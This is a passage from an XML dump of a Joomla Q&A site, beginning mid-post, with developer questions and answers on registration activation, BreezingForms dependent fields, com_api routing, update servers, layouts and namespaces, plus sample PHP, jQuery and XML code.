noreferrer&quot;&gt;https://www.clapiedsrando.fr/web2020/index.php/s-inscrire?task=registration.activate&amp;amp;token=d1ab2dxxxxxxxxxxxx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He activates this link; the site answers: COM_USERS_REGISTRATION_ACL_ADMIN_ACTIVATION&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The administrator logs in; the site replies: JERROR_ALERTNOAUTHOR &lt;em&gt;and the procedure fails.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a second attempt, the Viewing Access Level is set to &quot;Public&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The administrator logs in ; the site answers: COM_USERS_REGISTRATION_ADMINACTIVATE_SUCCESS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the new user receives an email confirming his registration.&lt;/p&gt;&#xA;" OwnerUserId="14220" LastEditorUserId="14220" LastEditDate="2020-04-20T08:20:41.587" LastActivityDate="2020-04-20T08:20:41.587" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="27958" PostTypeId="1" CreationDate="2020-04-18T18:17:50.263" Score="1" ViewCount="44" Body="&lt;p&gt;I tried to duplicate an administrator menu, but this is not possible due to a missing &quot;apply&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any settings or circumstances where this can happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recorded a little gif to demonstrate what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/km9ao.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/km9ao.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13906" LastEditorUserId="12352" LastEditDate="2020-04-18T22:03:47.607" LastActivityDate="2024-02-28T18:03:15.413" Title="No &quot;Apply&quot; button when attempting to duplicate an administrator menu" Tags="|administrator|menu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27959" PostTypeId="2" ParentId="27958" CreationDate="2020-04-18T19:50:21.123" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Locate the file &lt;code&gt;default_batch_footer.php&lt;/code&gt; in &lt;code&gt;/administrator/components/your-component/views/your-view/tmpl/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add this code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;button class=&quot;btn btn-success&quot; type=&quot;submit&quot; onclick=&quot;Joomla.submitbutton('your-view.batch');&quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?&amp;gt;&#xA;    &amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(rename your-view with the name of your view)&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-18T19:56:08.590" LastActivityDate="2020-04-18T19:56:08.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27962" PostTypeId="2" ParentId="9794" CreationDate="2020-04-19T09:00:46.560" Score="0" Body="&lt;p&gt;You should be able to do it with NuSphere's PhpDock. PhpDock enables you to deploy any PHP web application as a Stand Alone Windows Desktop application w/o any changes in the code. &lt;a href=&quot;http://www.nusphere.com/products/phpdock.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.nusphere.com/products/phpdock.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2020-04-19T09:00:46.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27963" PostTypeId="1" CreationDate="2020-04-19T12:27:30.670" Score="1" ViewCount="130" Body="&lt;p&gt;I created my own component in joomla and I want to show a custom warning when my users want to auto update the component. When they try to update it joomla could not find the zip file and return a warning in this file:&#xA;&lt;code&gt;administrator\components\com_installer\models\update.php line:434&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!$p_file)&#xA;{&#xA;    JError::raiseWarning('', JText::sprintf('COM_INSTALLER_PACKAGE_DOWNLOAD_FAILED', $url));&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How I can inject a custom message in joomla update without touching the core code.&lt;/p&gt;&#xA;" OwnerUserId="14224" LastActivityDate="2024-01-29T23:06:10.760" Title="How to inject a custom message in joomla update without touching the core code" Tags="|joomla-3.x|update|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27964" PostTypeId="2" ParentId="27963" CreationDate="2020-04-19T14:05:23.357" Score="0" Body="&lt;p&gt;Add &lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; /&amp;gt;&lt;/code&gt; to your index.php template file -  this will show error messages -  and override the core file you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: If you want to override a view of certain component, you can copy the view and paste it into &lt;code&gt;templates/your-template/code/component-name/views/&lt;/code&gt; (you have to create folder and subfolders). Joomla will look in the folder you created for overrided files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tell me if it solves your problem.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastActivityDate="2020-04-19T14:05:23.357" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="27966" PostTypeId="1" CreationDate="2020-04-19T18:57:04.503" Score="1" ViewCount="141" Body="&lt;p&gt;I have  2 set of fields: Set A (Field1, Field2), and Set B (Field3, Field4).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Field1 loads data from Mariadb tableA according to user selection and then loads the corresponding data from tableA to Field2. In order for this to happen, a .php file named 1-2.php is used. Field1 and Field2 work ok but:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue for Set A&lt;/strong&gt;: Inspect Element-&gt;Console in the Front End shows all data of the Field2.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Field3 loads data from Mariadb tableB according to user selection and then loads the corresponding data from tableB to Field4. In order for this to happen, a .php file named 3-4.php is used. Field3 loads ok from tableB but:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue for Set B&lt;/strong&gt;: Field4 shows nothing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Note tableA and tableB structure is identical&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;1. Set A (Field1 and Field2)&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Field1-&gt;Actionscript-&gt;Custom-&gt;Change:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ff_field1_action(element, action)&#xA;{&#xA;    switch (action) {&#xA;        case 'change':&#xA;            jQuery.ajax({&#xA;                type: &quot;POST&quot;,&#xA;                url: &quot;http://someurl/1-2.php&quot;,&#xA;                data: { field1: element.value },    &#xA;                success: function(data) {&#xA;                var obj = JSON.parse(data);&#xA;                        jQuery('#ff_elem2496').empty();&#xA;                       var arr = obj;&#xA;                           jQuery('#ff_elem2496').append(jQuery('&amp;lt;option&amp;gt;', {&#xA;                                value: '',&#xA;                                text: 'whatever'&#xA;                            }));&#xA;                       for (var i = 0; i &amp;lt; arr.length; i++) { &#xA;                           console.log(arr[i]);&#xA;                           jQuery('#ff_elem2496').append(jQuery('&amp;lt;option&amp;gt;', {&#xA;                                value: arr[i],&#xA;                                text: arr[i]&#xA;                            })); &#xA;                        }&#xA;                }      &#xA;            });&#xA;            break;&#xA;        default:;&#xA;    } // switch&#xA;} // ff_field1_action&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: elem2496 refers to Field2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1-2.php file for Set A:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('_JEXEC', 1);&#xA;if (file_exists(__DIR__ . '/defines.php'))&#xA;{&#xA;    include_once __DIR__ . '/defines.php';&#xA;}&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', __DIR__);&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;$judgePick1 = JRequest::getVar(field1);&#xA;$db1 = JFactory::getDbo();&#xA;$query1 = $db1-&amp;gt;getQuery(true);&#xA;$query1&#xA;  -&amp;gt;select('x.name')&#xA;  -&amp;gt;from($db1-&amp;gt;quoteName('#__tableA', 'x'))&#xA;  -&amp;gt;join('LEFT', $db1-&amp;gt;quoteName('#__tableA', 'y') . ' ON ' . $db1-&amp;gt;quoteName('x.parent') .' = '. $db1-&amp;gt;quoteName('y.id'))&#xA;  -&amp;gt;where($db1-&amp;gt;quoteName('y.name') .' = '. $db1-&amp;gt;quote($judgePick1))&#xA;  -&amp;gt;andWhere(array($db1-&amp;gt;quoteName('x.parent').' = '. $db1-&amp;gt;quoteName('y.id'), $db1-&amp;gt;quoteName('x.active').' = 1'), $glue = 'AND')&#xA;  -&amp;gt;order($db1-&amp;gt;quoteName('x.name') . ' ASC');&#xA;$db1-&amp;gt;setQuery($query1);&#xA;$result1 = $db1-&amp;gt;loadColumn();&#xA; if(!$result1){&#xA;    echo &quot;error&quot;;&#xA;} else {&#xA;    echo json_encode($result1);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;2. Set B (Field3 and Field4)&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Field3-&gt;Actionscript-&gt;Custom-&gt;Change:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ff_field3_action(element, action)&#xA;{&#xA;    switch (action) {&#xA;        case 'change':&#xA;            jQuery.ajax({&#xA;                type: &quot;POST&quot;,&#xA;                url: &quot;http://someurl/3-4.php&quot;,&#xA;                data: { field3: element.value },    &#xA;                success: function(data) {&#xA;                var obj = JSON.parse(data);&#xA;                        jQuery('#ff_elem3871').empty();&#xA;                       var arr = obj;&#xA;                           jQuery('#ff_elem3871').append(jQuery('&amp;lt;option&amp;gt;', {&#xA;                                value: '',&#xA;                                text: 'whatever2'&#xA;                            }));&#xA;                       for (var i = 0; i &amp;lt; arr.length; i++) { &#xA;                           console.log(arr[i]);&#xA;                           jQuery('#ff_elem3871').append(jQuery('&amp;lt;option&amp;gt;', {&#xA;                                value: arr[i],&#xA;                                text: arr[i]&#xA;                            })); &#xA;                        }&#xA;                }      &#xA;            });&#xA;            break;&#xA;        default:;&#xA;    } // switch&#xA;} // ff_field3_action&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: elem3871 refers to Field4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3-4.php file for Set B:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('_JEXEC', 1);&#xA;if (file_exists(__DIR__ . '/defines.php'))&#xA;{&#xA;    include_once __DIR__ . '/defines.php';&#xA;}&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', __DIR__);&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;$judgePick2 = JRequest::getVar(field3);&#xA;$db2 = JFactory::getDbo();&#xA;$query2 = $db2-&amp;gt;getQuery(true);&#xA;$query2&#xA;  -&amp;gt;select('x.name')&#xA;  -&amp;gt;from($db2-&amp;gt;quoteName('#__tableB', 'x'))&#xA;  -&amp;gt;join('LEFT', $db2-&amp;gt;quoteName('#__tableB', 'y') . ' ON ' . $db2-&amp;gt;quoteName('x.parent') .' = '. $db2-&amp;gt;quoteName('y.id'))&#xA;  -&amp;gt;where($db2-&amp;gt;quoteName('y.name') .' = '. $db2-&amp;gt;quote($judgePick2))&#xA;  -&amp;gt;andWhere(array($db2-&amp;gt;quoteName('x.parent').' = '. $db2-&amp;gt;quoteName('y.id'), $db2-&amp;gt;quoteName('x.active').' = 1'), $glue = 'AND')&#xA;  -&amp;gt;order($db2-&amp;gt;quoteName('x.name') . ' ASC');&#xA;$db2-&amp;gt;setQuery($query2);&#xA;$result2 = $db2-&amp;gt;loadColumn();&#xA;if(!$result2){&#xA;    echo &quot;error&quot;;&#xA;} else {&#xA;    echo json_encode($result2);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Finally, in Form-&gt;Advanced-&gt;More Options-&gt;Form Pieces-&gt;Before Form:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set A &#xA;$this-&amp;gt;execPieceByName('ff_InitLib'); //Include BreezingForms Library&#xA;$db1 = JFactory::getDBO();//Get Database Object&#xA;$db1-&amp;gt;setQuery('SELECT name FROM #__tableA WHERE parent=0 AND active=1 ORDER BY id ASC');&#xA;$result1 = $db1-&amp;gt;loadColumn(); //load the result from the query&#xA;$res1 = &quot;0;whatever;0\n&quot;;&#xA;for ($i = 0; $i &amp;lt; count($result1); $i++)&#xA;{&#xA;     $res1 .= &quot;0;&quot;.$result1[$i].&quot;;&quot;.$result1[$i].&quot;\n&quot;;&#xA;}&#xA; function ff_setSelectList1($name, $value)&#xA;{&#xA;     global $ff_processor;&#xA;     for ($r = 0; $r &amp;lt; $ff_processor-&amp;gt;rowcount; $r++)&#xA;     {&#xA;          $row =&amp;amp; $ff_processor-&amp;gt;rows[$r];&#xA;          if ($row-&amp;gt;name==$name)&#xA;          $row-&amp;gt;data2 = $value;&#xA;          unset($row);&#xA;     } // for&#xA;} // ff_setSelectList1&#xA; ff_setSelectList1('field1', $res1);&#xA;&#xA;// Set B &#xA;$this-&amp;gt;execPieceByName('ff_InitLib'); //Include BreezingForms Library&#xA;$db2 = JFactory::getDBO();//Get Database Object&#xA;$db2-&amp;gt;setQuery('SELECT name FROM #__tableB WHERE parent=0 AND active=1 ORDER BY id ASC');&#xA;$result2 = $db2-&amp;gt;loadColumn(); //load the result from the query&#xA;$res2 = &quot;0;whatever2;0\n&quot;;&#xA;for ($i = 0; $i &amp;lt; count($result2); $i++)&#xA;{&#xA;     $res2 .= &quot;0;&quot;.$result2[$i].&quot;;&quot;.$result2[$i].&quot;\n&quot;;&#xA;}&#xA;function ff_setSelectList2($name, $value)&#xA;{&#xA;     global $ff_processor;&#xA;     for ($r = 0; $r &amp;lt; $ff_processor-&amp;gt;rowcount; $r++)&#xA;     {&#xA;          $row =&amp;amp; $ff_processor-&amp;gt;rows[$r];&#xA;          if ($row-&amp;gt;name==$name)&#xA;          $row-&amp;gt;data2 = $value;&#xA;          unset($row);&#xA;     } // for&#xA;} // ff_setSelectList2&#xA;ff_setSelectList2('field3', $res2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The structure of Table A and Table B is the following:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Id  parent  name        uri         active&#xA;1   0       greekname1  latinname1  1&#xA;2   0       greekname2  latinname2  1&#xA;3   0       greekname3  latinname3  1&#xA;4   1       greekname4  latinname4  1&#xA;5   1       greekname5  latinname5  1&#xA;6   2       greekname6  latinname6  1&#xA;7   3       greekname7  latinname7  1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14225" LastEditorUserId="14225" LastEditDate="2021-04-27T01:12:34.567" LastActivityDate="2021-04-27T01:12:34.567" Title="Table data are not shown in the depended field - BreezingForms - Mariadb" Tags="|joomla-3.x|database|" AnswerCount="0" CommentCount="33" ClosedDate="2021-05-03T20:08:00.763" ContentLicense="CC BY-SA 4.0" />
  <row Id="27967" PostTypeId="1" CreationDate="2020-04-19T20:57:56.673" Score="1" ViewCount="88" Body="&lt;p&gt;I'm planning a series of APIs to execute in a Joomla instance to provide data to other sites.  Experiments ongoing to understand how to implement.  Considering com_ajax, com_api or new component.  Initially working with com_api from TechJoomla.com.  Using their 'articles' plugin to provide response data.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tests to retrieve an article using the browser command line request of '&lt;a href=&quot;http://127.0.0.1/site/index.php?option=com_api&amp;amp;app=articles&amp;amp;resource=article&amp;amp;format=raw&amp;amp;id=394&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://127.0.0.1/site/index.php?option=com_api&amp;amp;app=articles&amp;amp;resource=article&amp;amp;format=raw&amp;amp;id=394&lt;/a&gt;' successful.  The article's data is received in json format as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tests using cURL to initiate the request fail.  Using the new Windows 10 cURL so I have to submit using POST request.  Command is 'curl -d option=com_api -d app=articles -d resource=article -d format=raw -d id=394 &lt;a href=&quot;http://127.0.0.1/site/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://127.0.0.1/site/index.php&lt;/a&gt;?'.  The com_api returns the often seen '404 - Controller Not Found' error.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tracing has found several facts: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Correct Query parameters are received by Joomla in both tests.  The browser request places them in the PHP REQUEST array.  The cURL request places them in the POST array in addition to REQUEST.    &lt;/li&gt;&#xA;&lt;li&gt;Query parameters (in the APP-&gt;input object) available at the beginning of com_api/api.php are modified.  The view=article and itemid=nnn (nnn = index of home page menu) parameters are added.&lt;/li&gt;&#xA;&lt;li&gt;Failure is at line ~50 of com_api/api.php due to the 'view' parameter being set.  Code then attempts to access 'C:\Users\joesboat\websites\USPSd5/components/com_api/controllers/article.php'.  File does not exist.  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please help.  Why is Joomla adding query parameters.  All documents found indicate the routing is supposed to pass parameters as received to the components.  Thanks in advance..  &lt;/p&gt;&#xA;" OwnerUserId="14226" LastActivityDate="2020-04-19T20:57:56.673" Title="Joomla routing adding a 'view' query parameter to traffic destined to com_api component" Tags="|joomla-3.9|jroute|curl|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="27968" PostTypeId="1" AcceptedAnswerId="27969" CreationDate="2020-04-20T13:37:28.680" Score="0" ViewCount="37" Body="&lt;p&gt;I need to create a new page for my custom component, however I don't want (and I don't need) to create a new view for that.&#xA;I know that this can be achieved by creating layouts; the problem is that my layouts lead me to a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a layout called &lt;code&gt;thumbnails.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My path: &lt;code&gt;com_gallery/views/tmpl/thumbnails.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I access it by this URL: &lt;code&gt;[root]index.php?option=com_gallery&amp;amp;view=gallery&amp;amp;layout=thumbnails&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that all is set correctly, but still I get a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to register the layout or something?&lt;/p&gt;&#xA;" OwnerUserId="14118" LastActivityDate="2020-04-20T14:14:24.997" Title="Layout for a custom component leads to a 404 Error" Tags="|joomla-3.x|custom-component|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27969" PostTypeId="2" ParentId="27968" CreationDate="2020-04-20T14:14:24.997" Score="1" Body="&lt;p&gt;Normally view layouts should be placed in view layout directory. In your case it's &lt;code&gt;components/com_gallery/views/gallery/tmpl&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-20T14:14:24.997" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27971" PostTypeId="1" CreationDate="2020-04-21T02:16:01.223" Score="0" ViewCount="26" Body="&lt;p&gt;I download envor template. I am using Azura page builder to add or delete an element. There is one menu named &quot;Pages&quot; in that there is a submenu name &quot;about company&quot; when I am doing it save as copy in Azura page builder for my other menu then the image is not displaying on my website. Then I checked the page source. And I found the path of the image is got change and some HTML code is also change after doing save as copy in Azura builder.&#xA;Can anyone help me to find the solution?&lt;/p&gt;&#xA;" OwnerUserId="14232" LastActivityDate="2020-04-21T02:16:01.223" Title="image is not displaying" Tags="|images|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27972" PostTypeId="1" AcceptedAnswerId="28015" CreationDate="2020-04-21T08:03:43.687" Score="1" ViewCount="493" Body="&lt;p&gt;I want to make a namespace for my Joomla components, but I can't find a clear example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to declare multiple classes in my namespace and use autoloading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namespacebas\xml&#xA;namespacebas\db&#xA;namespacebas\tools&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I want to only have to put &lt;code&gt;use namespacebas\xml;&lt;/code&gt; at the top of my php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me with a simple example which I can easily customize to my needs?&lt;/p&gt;&#xA;" OwnerUserId="14149" LastEditorUserId="12352" LastEditDate="2020-04-21T21:20:42.467" LastActivityDate="2020-05-02T08:52:45.887" Title="Library with namespace and autoloader example" Tags="|joomla-4|autoload|namespace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27973" PostTypeId="1" AcceptedAnswerId="27975" CreationDate="2020-04-21T09:51:02.560" Score="1" ViewCount="45" Body="&lt;p&gt;Joomla! does not recognize my module update, so I decided to create a blank module to see if it suffered the same issue -- it did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When I search for updates my mod_extension is not visible in the list for available updates.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;test_extension.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;        &amp;lt;name&amp;gt;extension name&amp;lt;/name&amp;gt;&#xA;        &amp;lt;description&amp;gt;extension description&amp;lt;/description&amp;gt;&#xA;        &amp;lt;element&amp;gt;mod_extension&amp;lt;/element&amp;gt;&#xA;        &amp;lt;type&amp;gt;module&amp;lt;/type&amp;gt;&#xA;        &amp;lt;version&amp;gt;1.5&amp;lt;/version&amp;gt;&#xA;        &amp;lt;infourl title=&quot;Local Info Page&quot;&amp;gt;http://updates.local/info.html&amp;lt;/infourl&amp;gt;&#xA;        &amp;lt;downloads&amp;gt;&#xA;            &amp;lt;downloadurl type=&quot;full&quot; format=&quot;zip&quot;&amp;gt;http://updates.local/mod_extension.zip&amp;lt;/downloadurl&amp;gt;&#xA;        &amp;lt;/downloads&amp;gt;&#xA;        &amp;lt;tags&amp;gt;&#xA;            &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;        &amp;lt;/tags&amp;gt;&#xA;        &amp;lt;maintainer&amp;gt;local tester&amp;lt;/maintainer&amp;gt;&#xA;        &amp;lt;maintainerurl&amp;gt;http://updates.local&amp;lt;/maintainerurl&amp;gt;&#xA;        &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.[0123456789]&quot; /&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my mod_extension.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&quot;module&quot; version=&quot;3.5&quot; client=&quot;site&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;mod_extension&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;examplename&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;December 2019&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2 or later; see License.txt&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;info@example.org&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;www.example.org&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;updateservers&amp;gt;&#xA;        &amp;lt;server type=&quot;extension&quot; priority=&quot;1&quot; name=&quot;mod_extension&quot;&amp;gt;http://updates.local/test_extension.xml&amp;lt;/server&amp;gt;&#xA;    &amp;lt;/updateservers&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename module=&quot;mod_extension&quot;&amp;gt;mod_extension.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Joomla does not show the update.&#xA;XML File &amp;amp; Zip File are accessible by URL.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="12352" LastEditDate="2020-04-21T21:11:26.927" LastActivityDate="2020-04-21T21:11:26.927" Title="Unable to deploy updateserver for site module" Tags="|module|update|server|extension-update|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="27975" PostTypeId="2" ParentId="27973" CreationDate="2020-04-21T13:58:40.913" Score="4" Body="&lt;p&gt;You have to add a client element in your updater xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;client&amp;gt;site&amp;lt;/client&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla seems to take the admin as the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried out your xml and found that joomla was indeed finding the xml file ok and even inserting a record into the #__updates table. However because your module is a site module and the update xml didn't have the client element there, it wasn't matching the update to your extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I added the client element it worked fine. (Although you may need to clear the cache to get it to look for that update again). &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-04-21T13:58:40.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27976" PostTypeId="1" CreationDate="2020-04-21T14:02:59.020" Score="0" ViewCount="37" Body="&lt;p&gt;I am a new user to Digital Ocean and I need to install Joomla to develop a small newspaper portal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I chose Debian 9, but I don’t know how to accomplish this task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve researched here in the community and found only very old posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to learn how to install via SSH.&lt;/p&gt;&#xA;" OwnerUserId="12364" LastEditorUserId="12352" LastEditDate="2020-04-21T20:43:13.707" LastActivityDate="2020-04-21T20:43:13.707" Title="How to install Joomla on Digital Ocean (Debian 9)?" Tags="|joomla-3.x|installation|server|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="27977" PostTypeId="1" AcceptedAnswerId="27979" CreationDate="2020-04-22T01:31:50.367" Score="3" ViewCount="353" Body="&lt;p&gt;We started Joomla extensions development from Version 2.5.  During those days, we went through many training materials and able to complete the extension.  Later as many releases evolved, and whenever we hit a problem on any method or functionality (due to deprecation/removed) we managed to search in the internet (Joomla official site or stackexchange or any other) and able to find its equivalent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our components are now working in 3.9 version and we are pretty sure many of the functions which we are using in our extension are deprecated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a common place where we can identity which functions are deprecated in X release and what is their equivalent in the newer release?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2020-04-24T14:55:36.353" Title="Easy way to identify Joomla deprecated Functions" Tags="|joomla-3.x|deprecated|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
